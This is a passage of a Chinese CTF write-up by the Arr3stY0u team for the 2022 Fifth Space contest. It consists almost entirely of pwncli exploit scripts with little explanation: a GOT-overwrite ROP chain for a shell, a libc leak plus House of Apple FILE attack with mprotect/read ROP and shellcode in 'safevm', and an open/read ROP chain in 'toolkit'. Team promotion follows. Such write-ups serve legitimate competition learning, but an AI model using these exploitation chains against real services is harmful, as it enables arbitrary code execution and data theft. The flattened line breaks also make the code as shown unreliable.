#!/usr/bin/env python3from pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or not is_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugif gift.remote: libc = ELF("./libc-2.23.so") gift["libc"] = libcCurrentGadgets.set_find_area(1,0)pd = flat( { 104:[ CurrentGadgets.write_by_magic(elf.bss(0x100),0,u32_ex('sh')), CurrentGadgets.write_by_magic(elf.got.puts,libc.sym.puts,libc.sym.system), CurrentGadgets.pop_rdi_ret(), elf.bss(0x100), CurrentGadgets.ret(), elf.plt.puts ] } )sl(pd)io.interactive()


safevm:

#!/usr/bin/python3# -*- encoding: utf-8 -*-# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']elf: ELF = gift['elf']libc: ELF = gift['libc']
def build_data(a1, a2, a3, a4, data2=b""): data = b"xb9x80x04" data += b"x82" + p32_ex(a1) data += b"x82" + p32_ex(a2) data += b"x82" + p32_ex(a3) data += b"x87" + p64_ex(a4) sa("Input: ", p16(len(data)) + data + data2)
def assign(idx, data_idx): build_data(0xFFDEAD, 0x2222, 0, (idx << 4) | data_idx)
def puts_data(idx, data_idx): build_data(0xFFDEAD, 0x1111, 0, (idx << 32) | (data_idx * idx * 0x10))
# 构造单链表或者赋值list# list = &mmap_ptr[idx]; data[data_idx] = 0;def gets_data(idx, data_idx): build_data(0xFFDEAD, 0x3333, 0, (idx << 32) | (data_idx * idx * 0x10))
def gets_data2(idx, offset): build_data(0xFFDEAD, 0x3333, 0, (idx << 32) | offset)
def mmptr2regs(reg_idx, data1_idx, mmptr_idx): build_data(0x32CD42, reg_idx, 0, (data1_idx << 32) | (data1_idx * mmptr_idx * 0x10))
def regs2mmptr(reg_idx, data1_idx, offset): build_data(0x32CD41, reg_idx, 0, (data1_idx << 32) | offset)

def assign_reg(idx, value): build_data(0x11FE22, idx, 0, value)



assign(0x1, 0)assign(0x1, 0)assign(0x1, 0)gets_data(1, 0)

for i in range(0x40): assign(0x4, 0)
gets_data(0x4, 0)gets_data(0x4, 1)assign(0x4, 0)assign(0x4, 0)puts_data(4, 0)
libcaddr = u64(rn(8))log_address_ex("libcaddr")# !!!!!!!!!!!!!!# !!!!!!!!!!!!!!# 这个偏移需要猜测一下# 猜了一下午了,一般爆破1个字节足以offfff = 0x431040lbase = libcaddr - offffflog_libc_base_addr(lbase)libc.address = lbase
# stdin->chain写入libc地址assign_reg(1, u64(b"a" + p64_ex(libc.sym._IO_2_1_stdin_ + 0x68)[:7]))regs2mmptr(1, 4, 0xfff)
gets_data(1, 1)for i in range(0x30): assign(0x1, 0)
# house of apple执行ropfakeFILE_addr = offfff + 0xfd0 + lbase
assign_reg(1, libc.sym._IO_wfile_jumps)regs2mmptr(1, 1, 0x10 + 0xd8)
assign_reg(1, 1)regs2mmptr(1, 1, 0x10 + 0x28)
assign_reg(1, libcaddr)regs2mmptr(1, 1, 0x10 + 0x88) # lock

assign_reg(1, fakeFILE_addr)regs2mmptr(1, 1, 0x10 + 0xa0) # wide_data
assign_reg(1, fakeFILE_addr)regs2mmptr(1, 1, 0x10 + 0xe0) # wide_data->vtable
# 0x00000000000562ec: leave; ret; assign_reg(1, 0x00000000000562ec + lbase)regs2mmptr(1, 1, 0x10 + 0x68) # wide_data
# 0x000000000007e99a: add rsp, 0xe8; pop rbx; pop rbp; ret;assign_reg(1, 0x000000000007e99a + lbase)regs2mmptr(1, 1, 0x10 + 0x8) # wide_data
# 0x000000000002a3e5: pop rdi; ret; # 0x000000000002be51: pop rsi; ret; # 0x0000000000090529: pop rdx; pop rbx; ret;offset = 0x10 + 0x108assign_reg(1, 0x000000000002a3e5 + lbase)regs2mmptr(1, 1, offset) offset += 8assign_reg(1, fakeFILE_addr & ~0xfff)regs2mmptr(1, 1, offset)offset += 8assign_reg(1, 0x000000000002be51 + lbase)regs2mmptr(1, 1, offset) offset += 8assign_reg(1, 0x1000)regs2mmptr(1, 1, offset)offset += 8assign_reg(1, 0x0000000000090529 + lbase)regs2mmptr(1, 1, offset) offset += 8assign_reg(1, 7)regs2mmptr(1, 1, offset)offset += 8assign_reg(1, 7)regs2mmptr(1, 1, offset)offset += 8assign_reg(1, libc.sym.mprotect)regs2mmptr(1, 1, offset)offset += 8

assign_reg(1, 0x000000000002a3e5 + lbase)regs2mmptr(1, 1, offset) offset += 8assign_reg(1, 0)regs2mmptr(1, 1, offset)offset += 8assign_reg(1, 0x000000000002be51 + lbase)regs2mmptr(1, 1, offset) offset += 8assign_reg(1, fakeFILE_addr + 0x400)regs2mmptr(1, 1, offset)offset += 8assign_reg(1, 0x0000000000090529 + lbase)regs2mmptr(1, 1, offset) offset += 8assign_reg(1, 0x400)regs2mmptr(1, 1, offset)offset += 8assign_reg(1, 0x400)regs2mmptr(1, 1, offset)offset += 8assign_reg(1, libc.sym.read)regs2mmptr(1, 1, offset)offset += 8
assign_reg(1, fakeFILE_addr + 0x400)regs2mmptr(1, 1, offset)offset += 8
build_data(0xFFDEAD, 0x4444, 0, 0)
sleep(0.5)s(asm(shellcraft.cat2("flag", length=0x40)))
ia()

本地打通截图与远端对比图:

2022 第五空间网络安全初赛 writeup by Arr3stY0u


toolkit:

#!/usr/bin/env python3# Date: 2022-09-19 17:16:43# Author: roderick# Link: https://github.com/RoderickChan/pwncli# Usage: #     Debug: python3 exp.py debug elf-file-path -t -b malloc#     Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *cli_script()
io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libc
def cmd(i): sla("[+] ", str(i))
def tool1(): cmd(1)
def tool2(i, sz, data): cmd(2) sla("[-] ", str(i)) sla("Length: ", str(sz)) sla("Content: ", data) sla("Key: ", "a"*8)

def secret(): cmd(3)
def getgift(passwd): cmd(0xDEAD00) sla("Password: ", passwd)
getgift("a"*0x210)ru("a"*0x210)codebase = u64_ex(rn(6)) - 0x150aelf.address = codebase
log_address_ex("codebase")
CurrentGadgets.set_find_area(1, 0)
tool2(2, -1, flat({ 0: "/flagx00", 312-8: [ codebase + 0x56e0, codebase + 0x25e0, ], 360: [ CurrentGadgets.pop_rdi_ret(), codebase + 0x5060, CurrentGadgets.pop_rsi_r15_ret(), 0, 0, elf.plt.open, codebase + 0x292A, 0, 1, 3, codebase + 0x5260, 0x40, elf.got.read, codebase + 0x2910, "a"*0x38, CurrentGadgets.pop_rdi_ret(), codebase + 0x5260, elf.plt.puts ]}))
ia()
2022 第五空间网络安全初赛 writeup by Arr3stY0u

Arr3stY0u尾


山海关安全团队官网:

https://www.shg-sec.com/

招新&合作联系:[email protected]


简介:

    山海关安全团队是一支专注网络安全的实战型团队,总人数已达20余人,团队大部分成员来自国内高校,企事业单位。


    Arr3stY0u是山海关安全团队旗下的CTF战队,积极参与国内外各大小型CTF竞赛,持续招收Web, Crypto, Misc, Pwn, Blockchain选手。


部分荣誉:

2021.10 某基金诈骗案调查技术支持(省督,金额¥2000000000)

2021.11 深信服某产品漏洞报送证书

2022.04 第二届网刃杯 12th

2022.07 首届数字空间安全攻防大赛DSCTF 初赛 6th

2022.08 第六届强网杯 线上&线下 三等奖

2022.09 2022 羊城杯 三等奖

2022 第五空间网络安全初赛 writeup by Arr3stY0u

原文始发于微信公众号(Arr3stY0u):2022 第五空间网络安全初赛 writeup by Arr3stY0u

版权声明:admin 发表于 2022年9月19日 下午9:34。
转载请注明:2022 第五空间网络安全初赛 writeup by Arr3stY0u | CTF导航

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